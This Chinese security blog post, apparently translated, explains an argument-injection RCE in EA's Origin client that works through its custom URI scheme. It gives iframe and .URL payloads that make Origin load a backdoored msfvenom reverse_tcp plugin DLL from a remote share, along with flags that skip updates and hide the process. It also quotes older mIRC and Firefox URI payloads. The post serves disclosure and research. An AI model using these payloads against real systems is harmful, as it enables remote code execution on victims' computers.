浅谈URI Schemes的利用方式

阅读量    53201 | 评论 1   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

在过去一个月左右,我花了许多时间来阅读和测试自定义URI Schemes。正如我前一篇文章中提到的那样,不妥善实现的自定义URI可能会存在许多安全问题。我提到了“许多”这个词,这里我想以EA Origin客户端为例,跟大家分享这方面内容。

简而言之,本文介绍的是Origin的另一个RCE漏洞,并不是CVE-2019-11354。

 

0x01 自定义URI Schemes

在本文中,我们将以Origin客户端为研究对象。然而这个漏洞同样存在于其他许多应用中,这种技术这并不是Origin特有的。为了让我们更好理解漏洞利用原理,我们需要理解Windows对自定义URI Schemes的处理方式。

如果我们在注册表中查找Origin的URI Scheme,可以看到如下信息:

从上图中我们可以看到如下数据:

"C:\Program Files (x86)\Origin\Origin.exe" "%1"

当我们调用origin://或者origin2://时,Windows会使用ShellExecute()来生成一个进程,使用我们的输入数据来替换%1

比如:origin://game/launch就会生成一个Origin进程,其中命令行参数为:

C:\Program Files (x86)\Origin\Origin.exe "origin://game/launch"

如果我们稍微读一下官方手册,在MSDN上搜索注册自定义URI Schemes的相关资料,可以看到微软已经友情提示了一些安全问题。官网上有这么一段话:

如上所述,传递给可插入协议(pluggable protocol)handler的字符串可能会被截断成多个参数。恶意攻击者可能使用其他引号或者反斜杠字符来绕过其他命令行参数。因此,handler应该假设所有的命令行参数都有可能来自于攻击者,必须小心处理这些参数。如果应用可能执行基于外部数据的危险操作,那么首先应当与用户确认这些操作。此外,负责处理这些数据的应用程序应当针对过长的URI或者某些非预期的(或者不需要的)字符串序列进行测试。

这意味着应用程序需要确保攻击者无法通过精心构造的URI来注入任何非法字符或者参数。

基于URI的利用技术历史悠久

如果大家看过这篇文章,就知道通过URI实现参数注入并不是一种新的技术。

之前有些漏洞可以在URI中添加未转义的"符号,从而从%1参数中逃逸。比如,为了使用CVE-2007-3670来注入参数,我们只需要让远程用户访问我们精心构造的iframe以及URI,就可以通过注入的参数来生成目标进程。

firefoxurl://placeholder" --argument-injection

只使用命令注入是否足够?

这个过程涉及到ShellExecute的调用方式以及参数传递方式,我们无法最终注入自己想要的命令,只能注入参数。

 

0x02 参数注入

受限于大多数应用程序(浏览器、邮件客户端等)对URI的处理方式,参数注入攻击在2019年已经越来越难以利用。现代浏览器(Chrome、Firefox、Edge)在处理链接时会对某些字符强制编码,这显然会使攻击者更加难以逃逸。

然而,如果自定义URI没有对注册表中的参数进行适当的转义,我们可以直接使用空格符来注入参数。

最近mIRC存在这样一个漏洞,为了实现RCE,攻击者只需要使用如下payload即可:

<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini'>

大家可以参考此处了解详细的漏洞发现和利用过程。

无论如何,对于本文研究的Origin案例,我们准备搭建全新安装的Windows 8系统,搭配IE11浏览器,后面将进一步讨论绕过现代安全机制方面相关内容。

Payload

启动虚拟机,安装Origin。打开notepad,输入如下数据:

<iframe src='origin://?" -reverse "'>

在IE中打开,允许Origin启动(如果IE会弹出提示框的话)。我们应该可以看到如下界面:

如上图所示,窗口图标现在已经跑到另一侧。这里我忘了提到一点,-reverse是Qt特定的一个参数。Origin主要采用Qt框架开发,因此我会忍不住尝试一下这些参数。

如果我们使用Process Explorer观察该进程,可以看到如下信息:

了解以上信息就足以理解参数注入攻击场景。

 

0x03 任意代码执行

那么我们如何利用这一点实现代码执行?为了查看哪些选项可用,我们需要了解能使用的参数列表。在分析Origin自己的参数之前,我们先来关注Qt特定的参数。

查看Qt官方文档后,可知对于所有Qt程序,我们都能使用如下参数:

-platform
-platformpluginpath
-platformtheme
-plugin
-qmljsdebugger
-qwindowgeometry
-qwindowicon
-qwindowtitle
-reverse
-session
-display
-geometry

其中较值得注意的一个参数是platformpluginpath。通过这个参数,我们能指定Qt插件的加载路径。这些Qt插件(DLL文件)随后会被加载到Origin中并执行。

我们可以利用这个行为,通过Windows共享配合platformpluginpath参数实现远程加载插件。

Qt官方给出了Qt插件以及对应的目录列表。当使用platformpluginpath参数时,QGuiApplication会自动加载下列目录中的有效DLL。

基类 目录 Qt模块
QAccessibleBridgePlugin accessiblebridge Qt GUI
QImageIOPlugin imageformats Qt GUI
QPictureFormatPlugin pictureformats Qt GUI
QAudioSystemPlugin audio Qt Multimedia
QDeclarativeVideoBackendFactoryInterface video/declarativevideobackend Qt Multimedia
QGstBufferPoolPlugin video/bufferpool Qt Multimedia
QMediaPlaylistIOPlugin playlistformats Qt Multimedia
QMediaResourcePolicyPlugin resourcepolicy Qt Multimedia
QMediaServiceProviderPlugin mediaservice Qt Multimedia
QSGVideoNodeFactoryPlugin video/videonode Qt Multimedia
QBearerEnginePlugin bearer Qt Network
QPlatformInputContextPlugin platforminputcontexts Qt Platform Abstraction
QPlatformIntegrationPlugin platforms Qt Platform Abstraction
QPlatformThemePlugin platformthemes Qt Platform Abstraction
QGeoPositionInfoSourceFactory position Qt Positioning
QPlatformPrinterSupportPlugin printsupport Qt Print Support
QSGContextPlugin scenegraph Qt Quick
QScriptExtensionPlugin script Qt Script
QSensorGesturePluginInterface sensorgestures Qt Sensors
QSensorPluginInterface sensors Qt Sensors
QSqlDriverPlugin sqldrivers Qt SQL
QIconEnginePlugin iconengines Qt SVG
QAccessiblePlugin accessible Qt Widgets
QStylePlugin styles Qt Widgets

由于Origin使用的是QtWebEngine,并且需要处理图像文件(jpggifbmp等),因此需要用到一些Qt插件。如果我们观察Origin的安装目录,可以看到其中有个imageformats目录,该目录中包含许多DLL文件。

由于我们知道Origin会用到这些DLL,因此我们可以选一个作为模板来生成我们的reverse_tcp

在继续研究之前,我们首先需要确定的确可以通过platformpluginpath标志访问远程地址。

事实证明这的确可行。

创建后门插件

前面提到过,Origin会用到一些DLL,我们可以使用这些DLL作为模板来构建msfvenom payload。使用DLL文件作为模板来创建reverse_tcp的命令如下图所示。Qt在加载插件方面非常挑剔,这也是我使用模板的原因所在。这里我可以剧透一下,我们只需要提供有效的.qtmetad section即可。

现在我们已经创建了后门插件,接下来我们只需要创建一个Windows共享,以便对端远程下载该插件。

Windows共享必须包括上表中出现的某个目录,否则对方就无法正确加载DLL。由于我们选择的是imageformats,因此我们自然就会使用imageformats

其中imageformats目录中保存着我们的后门插件FILE1337.dll

完成Payload

显然一切尚未结束。我们当然可以声称自己“实现了”任意代码执行,但还没有搞定远程执行,因为我们无法让用户真正去启动我们构造的URI。现在轮到iframe上场了。

<iframe src='origin://?" -platformpluginpath \\NOTDANGEROUS "'>

我们可以选择一个地方托管该iframe,我们的目标只需要使用较老版本的浏览器打开该网页即可。如果我们使用Firefox来试一下,就可以看到进程以如下方式运行:

显然这会破坏我们的参数注入,这也是前面我提到过的一点。这种方法让我们更加难以利用Origin漏洞。

在已更新系统上,除非我们找到方法,在未对特殊字符转义的情况下启动目标进程,否则这个漏洞利用起来就非常鸡肋。

不论如何,我们先确保在IE浏览器上一切正常,才有信心继续研究。IE上我们的确可以正常操作,参考此处视频

 

0x04 .URL文件

似乎现代浏览器会阻止攻击者将参数注入自定义URI中,因此我决定研究一下Windows快捷方式。有趣的是,快捷方式文件并不会对特殊字符进行转义,这本身就是一个问题。微软会认为这是一个问题吗?这很难说。如果他们认为这是一个问题,那么应该早就解决了。

正常情况下,.url文件内容如下所示:

[InternetShortcut]
URL=https://www.google.com

如果我们点击该文件,就会使用默认浏览器打开Google。然而,如果我们使用的是自定义URI,那么系统就会使用我们给定的URI。在这个基础上,由于系统没有过滤特殊字符,因此我们可以注入参数。这一点在攻击某些应用上非常有用,并不限于Origin。

在最新版的Windows 10上,我们可以使用如下.URL文件,将参数注入到Origin进程中。来试一下。

[InternetShortcut]
URL=origin://?" -reverse "

桌面上的Origin图标正是我们创建的快捷方式,看上去几乎与正常的Origin.exe快捷方式一模一样。

这种攻击方法显然需要涉及到一些社会工程学技巧。大多数浏览器并不会把.URL文件当成危险文件。比如,Edge浏览器会询问用户是否想要打开该文件,然后会扫描该文件,通过扫描后以我们注入的参数启动进程。

 

0x05 综合利用

走到这一步后,大家可能会有些问题。比如,如果Origin进程已经运行那该怎么办?这时如何才能注入参数?

这里就需要用到Origin内置的一些命令行选项了。我们可以滥用Origin接受的某些参数。先假设Origin已经运行,此时我们只需要在payload中简单加入如下参数:

origin://?" -Origin_MultipleInstances "

如果系统中已经有一个Origin进程,那么目标就会使用我们提供的参数再生成一个新的进程。

现在,假设用户好几个月前安装了Origin,并且有一段时间没有启动该程序。当Origin启动时,在执行其他操作前会先自动检查更新。这意味着如果Origin推出了新的patch,客户端在执行payload前会先更新。

如果我们向Origin提供如下参数,就可以跳过整个更新检查操作:

origin://?" /noUpdate "

我们还可以让Origin以后台方式运行,这样用户就不会注意到该进程。结合这些信息,再配合前面构造的远程插件,我们可以构造处一个非常有趣的利用方式:

origin://?" /StartClientMinimized /noUpdate -Origin_MultipleInstances "

 

0x06 其他信息

似乎Electronic Arts对这个安全风险并不是很感冒,因此我决定公布另一个漏洞补丁(CVE-2019-11354)的绕过方法,请大家享用。我曾多次尝试与对方联系,但没有成功。这是我见过最差劲的厂商,没有之一,不要浪费我们的时间。他们承诺在游戏中给我们小钱钱,但连这一点都不会兑现……

 

0x07 参考资料

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多